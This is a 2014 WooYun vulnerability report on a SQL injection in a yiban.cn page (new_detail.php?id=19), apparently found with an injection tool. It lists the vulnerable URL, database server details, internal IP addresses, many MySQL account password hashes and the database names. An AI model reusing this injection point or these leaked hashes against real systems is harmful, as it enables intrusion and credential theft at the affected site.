当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-064044

漏洞标题：易班网#SQL注射root权限

相关厂商：yiban.cn

漏洞作者： 岩少

提交时间：2014-06-10 18:45

修复时间：2014-07-25 18:48

公开时间：2014-07-25 18:48

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-10： 细节已通知厂商并且等待厂商处理中
2014-06-10： 厂商已经确认，细节仅向厂商公开
2014-06-20： 细节向核心白帽子及相关领域专家公开
2014-06-30： 细节向普通白帽子公开
2014-07-10： 细节向实习白帽子公开
2014-07-25： 细节向公众公开

简要描述：

听说易班网厂商挺不错,有木有礼物。

详细说明：

Target: 		http://dream.yiban.cn/new_detail.php?id=19
Host IP:		112.65.235.52
Web Server: 	nginx
DB Server: 	MySQL >=5
Resp. Time(avg):	509 ms
Current User: 	root@10.21.66.121
Sql Version: 	5.5.24-log
Current DB: 	bbscore
System User: 	root@10.21.66.121
Host Name: 	21-DB04
Installation dir: 	/usr
DB User & Pass: 	root:*38873A7027AF0DCD8B440956FFBB42936CC9B374:localhost
		root:*38873A7027AF0DCD8B440956FFBB42936CC9B374:21-DB04
		root:*38873A7027AF0DCD8B440956FFBB42936CC9B374:127.0.0.1
		root::
		backup:*7B9F3DF9565729FBD75899E351E49D92D3D371ED:localhost
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.%
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.8.10
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.121
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.120
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.24
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.29
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.28
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.27
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.26
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.25
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.22
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.165
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.186
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.13
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.19
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.139
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.138
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.137
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.136
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.135
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.133
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.132
                root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.131
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.123
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.122
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.121
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.20
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.19
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.18
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.17
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.16
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.15
		dawei:*4B6678ED79238B07179FF423565D224B59846516:10.21.76.10
		rsync:*59857543FA61499A012782D1E6D5EBC0797B597C:10.21.76.21
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.14
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.13
		cacti_monitor:*2C7FADF15B5D5CDBE7469FB8894277460C94A323:10.21.82.100
		dbadmin:*A3A01D10B87047F07AB8A6E72A043E2DDAB30753:10.21.126.42
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.12
		rep_check:*CBF65591074FC3FD0666EA000D3CF8BD7F38EFA1:10.21.66.59
		monitor:*58D98B624819634F9AFB827D7C6B1E659D11A2C2:localhost
		php_app:*E13F9810C0759CE06A6F3C7752C13B736B8FFC2D:10.21.66.190
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.11
		rsync:*59857543FA61499A012782D1E6D5EBC0797B597C:10.21.76.22
		lmm_test:*728471080827B2FB6AC25DFD897867B796CF55B4:10.21.76.10
		dbadmin:*BBC13F4F66346EEEB810BCE86524D89BED7AFEA9:10.21.76.10
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.171
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.170
Data Bases: 	information_schema
		DBA
		bbscore
		bbscore_act
		bbscore_plug
		bbscore_webim
		beauty_china
		detection_table
		mysql
		performance_schema
		test
		welfare
		xinhua


漏洞页面:http://dream.yiban.cn/new_detail.php?id=19
描述下哈,我想说。这个SQL注射跟 WooYun: 易班网SQL注射root权限 不同

QQ截图20140608123638.gif


QQ截图20140608123624.gif

漏洞证明：

QQ截图20140608123638.gif


QQ截图20140608123624.gif

修复方案：

修复了这么多相信你们会的,这个SQL注射应该给20Rank了把。都说易班网厂商挺不错,有木有礼物。

版权声明：转载请注明来源 岩少@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-06-10 20:01

厂商回复：

感谢！

最新状态：

暂无